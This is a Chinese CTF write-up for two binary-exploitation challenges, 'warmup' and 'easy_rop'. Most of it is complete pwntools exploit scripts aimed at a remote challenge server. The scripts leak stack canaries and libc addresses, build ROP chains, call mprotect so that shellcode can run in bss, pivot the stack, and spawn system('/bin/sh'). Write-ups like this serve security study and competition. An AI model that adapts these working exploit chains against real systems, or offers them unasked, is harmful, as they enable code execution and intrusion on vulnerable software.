warmup
查看程序防护:
查看反汇编:
已知条件:
- 开启了溢出检测
- 开启了沙盒模式,只能调用libc中的open | read | write等读写函数
- 可以通过leak canary绕过溢出检测
EXP:
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF('./warm_up')
libc = ELF('./libc-2.23.so')
r = remote('139.129.76.65', 50007)
r.recvuntil('warm up!!!\n')
#距离canary24个字节,换行符0x0a会占据canary最后一个字节,使得canary发生泄露
r.sendline('a'*24)
r.recv(25) #丢弃前25个字节,包括用于泄露canary的'\x0a'
canary = '\x00' + r.recv(7)
print(hex(u64(canary)))
pop_rdi_ret = 0x400bc3
pop_rsi_r15_ret = 0x400bc1
start_addr = 0x400910
bss_addr = elf.bss()
puts_plt = elf.symbols['puts']
libc_start_main_got = elf.got['__libc_start_main']
#leak libc
payload = 'a'*24 + canary + 'b'*8
payload += p64(pop_rdi_ret)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)
r.recvuntil(' ?')
r.sendline(payload)
libc_start_main = u64(r.recv(6).ljust(8,'\x00'))
#print('libc_start_main = ' + str(hex(libc_start_main)))
libc_base = libc_start_main - libc.symbols['__libc_start_main']
gets = libc_base + libc.symbols['gets']
mprotect = libc_base + libc.symbols['mprotect']
pop_rdx_ret = libc_base + libc.search(asm("pop rdx\nret")).next()
r.recvuntil('warm up!!!\n')
r.sendline('a')
payload = 'a'*0x18 + canary + 'b'*8
#向bss + 0x500位置写入shellcode
payload += p64(pop_rdi_ret) + p64(bss_addr + 0x500) + p64(gets)
#构造mprotect,更改内存保护属性
payload += p64(pop_rdx_ret) + p64(7) #设置保护属性
payload += p64(pop_rsi_r15_ret) + p64(0x1500) + p64(0) #设置大小
payload += p64(pop_rdi_ret) + p64((bss_addr>>12)<<12) #设置起始地址
payload += p64(mprotect) #调用mprotect
#修改内存保护属性后,令RIP指向下方构造的shellcode
payload += p64(bss_addr + 0x500)
r.recvuntil(' ?')
r.sendline(payload)
payload = shellcraft.open("flag")
#将远程flag文件内容写入缓冲区,open成功时返回值为3
# fd address size
payload += shellcraft.read( 3, bss_addr+0x100, 0x30)
payload += shellcraft.write(1, bss_addr+0x100, 0x30)
r.sendline(asm(payload))
r.interactive()
由于服务器在写完wp后连不上了,这里放一张本地执行成功的截图,环境:ubuntu16.04
easy_rop
查看程序防护:
查看反汇编:
调试的时候发现main函数的rbp居然是pie,而返回地址下面第四行是main函数自己的头部指针
已知条件:
- 存在栈溢出,大小为4个栈单元
- 开启了canary保护,可以用’+'号绕过
- main函数的 rbp 为 pie(基址)
- main函数的返回地址下面存在main函数头部指针
解题思路:
- 使用’+'号绕过canary值
- 劫持pie,通过pie和静态偏移得到想要的真实地址
- 第一次执行main函数时,迁移rbp指向 unk_201420 - 8 的位置
令rsp指向main函数头部指针,retn后再次执行main函数 - 第二次执行main函数时,迁移rsp指向 unk_201420 的位置
- 通过main函数的read函数向unk_201420写入rop链,功能:
- leak libc,得到版本信息,计算system函数和’/bin/sh’字符串在libc中的偏移
- 调用万能gadget,进行任意函数执行,由于leak libc后要进行利用的话需要计算偏移后再次写入rop链,所以这里使用read函数在下方构造system(’/bin/sh’)即可getshell
注意:exp中没有对负数进行处理,可能需要多打几次才行
Leak Libc EXP:
#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf = ELF('./easy_rop')
#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)
'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
r.sendline('+')
#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8 = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40
def send64(num):
#low 4byte
if num % 0x100000000 > 0x7fffffff:
r.sendlineafter(':', str((-1 * num) % 0x100000000))
else:
r.sendlineafter(':', str(num % 0x100000000))
#high 4byte
r.sendlineafter(':', str(num >> 32))
new_stack = pie + 0x201420 - 8
pop_rdi_ret = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a
#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')
'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
r.sendline('+')
#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack) #number 28 & 29 -- rbp
send64(leave_ret) #number 30 & 31 -- return address
r.sendlineafter('number 32: ','++') # number 32 & 33
r.recvuntil('name?\n',True)
#leak libc
payload = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])
r.sendline(payload)
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
print('libc_start_main = ' + hex(libc_start_main))
r.interactive()
通过后三位偏移,使用在线网站libc database search搜索libc版本
Getshell EXP:
本地一直无法成功,连上服务器能够成功getshell,暂时未定位到问题所在
#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf = ELF('./easy_rop')
#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)
'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
r.sendline('+')
#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8 = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40
def send64(num):
#low 4byte
if num % 0x100000000 > 0x7fffffff:
r.sendlineafter(':', str((-1 * num) % 0x100000000))
else:
r.sendlineafter(':', str(num % 0x100000000))
#high 4byte
r.sendlineafter(':', str(num >> 32))
new_stack = pie + 0x201420 - 8
pop_rdi_ret = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a
#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')
'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
r.sendline('+')
#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack) #number 28 & 29 -- rbp
send64(leave_ret) #number 30 & 31 -- return address
r.sendlineafter('number 32: ','++') # number 32 & 33
r.recvuntil('name?\n',True)
#leak libc
payload = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])
#general gadget
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
# 0 1 function parameter3 parameter2 parameter1
payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
payload += p64(general_gadget) #general gadget address
r.sendline(payload)
#get libc_start_main
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
#print('libc_start_main = ' + hex(libc_start_main))
system_addr = libc_start_main + 0x24c50
bin_sh = libc_start_main + 0x16c617
payload = 'a'*80 #rsp offset
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_addr)
r.sendline(payload)
r.interactive()